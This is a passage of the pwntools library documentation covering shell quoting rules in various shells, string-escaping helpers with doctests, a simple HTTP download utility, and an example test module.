quotes, matched double quotes, and backslash.

Single Quotes
    Enclosing characters in single quotes preserves the literal mean-
    ing of all the characters (except single quotes, making it impos-
    sible to put single-quotes in a single-quoted string).

Dollar-Single Quotes
    Enclosing characters between $' and ' preserves the literal mean-
    ing of all characters except backslashes and single quotes.  A
    backslash introduces a C-style escape sequence:

    ...

Double Quotes
    Enclosing characters within double quotes preserves the literal
    meaning of all characters except dollar sign (`$'), backquote
    (``'), and backslash (`\\').  The backslash inside double quotes
    is historically weird.  It remains literal unless it precedes the
    following characters, which it serves to quote:

      $     `     "     \     \\n

Backslash
    A backslash preserves the literal meaning of the following char-
```

(continues on next page)

(continued from previous page)

```
    acter, with the exception of the newline character (`\\n').  A
    backslash preceding a newline is treated as a line continuation.
```

OpenBSD Shell

From the OpenBSD Man Pages, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
A backslash (\) can be used to quote any character except a newline.
If a newline follows a backslash the shell removes them both, effectively
making the following line part of the current one.

A group of characters can be enclosed within single quotes (') to quote
every character within the quotes.

A group of characters can be enclosed within double quotes (") to quote
every character within the quotes except a backquote (`) or a dollar
sign ($), both of which retain their special meaning. A backslash (\)
within double quotes retains its special meaning, but only when followed
by a backquote, dollar sign, double quote, or another backslash.
An at sign (@) within double quotes has a special meaning
(see SPECIAL PARAMETERS, below).
```

NetBSD Shell

The NetBSD shell's documentation is identical to the Dash documentation.

Android Shells

Android has gone through some number of shells.

- Mksh, a Korn shell, was used with Toolbox releases (5.0 and prior)
- Toybox, also derived from the Almquist Shell (6.0 and newer)

Notably, the Toolbox implementation is not POSIX compliant as it lacks a "printf" builtin (e.g. Android 5.0 emulator images).

Toybox Shell

Android 6.0 (and possibly other versions) use a shell based on `toybox`.

While it does not include a `printf` builtin, `toybox` itself includes a POSIX-compliant `printf` binary.

The Ash shells should be feature-compatible with `dash`.

BusyBox Shell

BusyBox's Wikipedia page claims to use an `ash`-compliant shell, and should therefore be compatible with `dash`.

pwnlib.util.sh_string.**sh_command_with**(*f*, *arg0*, *...*, *argN*) → command

Returns a command create by evaluating *f(new_arg0, …, new_argN)* whenever *f* is a function and *f % (new_arg0, …, new_argN)* otherwise.

If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape, they will be escaped and passed to the function.

If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix shell. In this case the output from *f* is prepended with a bit of code to create the variables.

Examples

```
>>> sh_command_with(lambda: "echo hello")
'echo hello'
>>> sh_command_with(lambda x: "echo " + x, "hello")
'echo hello'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01")
"/bin/echo '\\x01'"
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01\\n")
"/bin/echo '\\x01\\n'"
>>> sh_command_with("/bin/echo %s", "\\x01\\n")
"/bin/echo '\\x01\\n'"
```

pwnlib.util.sh_string.**sh_prepare**(*variables*, *export=False*)

Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.

It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.

Parameters

- **variables** (*dict*) – The variables to set.
- **export** (*bool*) – Should the variables be exported or only stored in the shell environment?
- **output** (*str*) – A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

Examples

```
>>> sh_prepare({'X': 'foobar'})
b'X=foobar'
>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == b'X=foobar;Y=cookies' or r == b'Y=cookies;X=foobar' or r
True
>>> sh_prepare({'X': 'foo bar'})
b"X='foo bar'"
>>> sh_prepare({'X': "foo'bar"})
b"X='foo'\\''bar'"
>>> sh_prepare({'X': "foo\\\\bar"})
b"X='foo\\\\bar'"
>>> sh_prepare({'X': "foo\\\\'bar"})
b"X='foo\\\\'\\''bar'"
>>> sh_prepare({'X': "foo\\x01'bar"})
b"X='foo\\x01'\\''bar'"
>>> sh_prepare({'X': "foo\\x01'bar"}, export = True)
b"export X='foo\\x01'\\''bar'"
```

(continues on next page)

(continued from previous page)

```
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
b"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
b"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"}, export = True)
b"export X='foo\\x01'\\''bar\\n'"
```

pwnlib.util.sh_string.**sh_string**(*s*)

Outputs a string in a format that will be understood by /bin/sh.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

Warning: This does not play along well with the shell's built-in "echo". It works exactly as expected to set environment variables and arguments, **unless** it's the shell-builtin echo.

Argument: s(str): String to escape.

Examples

```
>>> sh_string('foobar')
'foobar'
>>> sh_string('foo bar')
"'foo bar'"
>>> sh_string("foo'bar")
"'foo'\\''bar'"
>>> sh_string("foo\\\\bar")
"'foo\\\\bar'"
>>> sh_string("foo\\\\'bar")
"'foo\\\\'\\''bar'"
>>> sh_string("foo\\x01'bar")
"'foo\\x01'\\''bar'"
```

pwnlib.util.sh_string.**test**(*original*)

Tests the output provided by a shell interpreting a string

```
>>> test(b'foobar')
>>> test(b'foo bar')
>>> test(b'foo bar\n')
>>> test(b"foo'bar")
>>> test(b"foo\\\\bar")
>>> test(b"foo\\\\'bar")
>>> test(b"foo\\x01'bar")
>>> test(b'\n')
>>> test(b'\xff')
>>> test(os.urandom(16 * 1024).replace(b'\x00', b''))
```

2.49 pwnlib.util.web — Utilities for working with the WWW

pwnlib.util.web.**wget**(*url*, *save=None*, *timeout=5*) → str

Downloads a file via HTTP/HTTPS.

Parameters

- **url** (*str*) – URL to download
- **save** (*str or bool*) – Name to save as. Any truthy value will auto-generate a name based on the URL.
- **timeout** (*int*) – Timeout, in seconds

Example

```
>>> url    = 'https://httpbin.org/robots.txt'
>>> result = wget(url, timeout=60)
>>> result
b'User-agent: *\nDisallow: /deny\n'
```

```
>>> filename = tempfile.mktemp()
>>> result2 = wget(url, filename, timeout=60)
>>> result == open(filename, 'rb').read()
True
```

2.50 `pwnlib.testexample` — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: https://docs.pwntools.com/en/stable/testexample.html

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an "automodule" directive, which imports everything in the module, or everything listed in `__all__` in the module.

The doctests are automatically picked up by the >>> symbol, like from the Python prompt. For more on doctests, see the Python documentation.

All of the syntax in this file is ReStructuredText. You can find a nice cheat sheet here.

Here's an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2) # doctest: +SKIP
5
```

Some things in Python are non-deterministic, like `dict` or `set` ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```

pwnlib.testexample.**add**(*a*, *b*) → int

Adds the numbers a and b.

Parameters

- **a** (*int*) – First number to add
- **b** (*int*) – Second number to add

Returns The sum of a and b.

Examples

```
>>> add(1,2)
3
>>> add(-1, 33)
32
```

CHAPTER 3

Bytes

The bytes vs text distinction is so important that it even made it to this main page. See the pwntools-tutorial repo for the latest tutorial finally explaining the difference once and for all (hopefully).

CHAPTER 4

Indices and tables

- genindex
- modindex
- search

Python Module Index

p

Index

Symbols

A

B

C

D

E

F

G

J

K

L

P

Q

R

S

T

U

V

W

X

Y

Z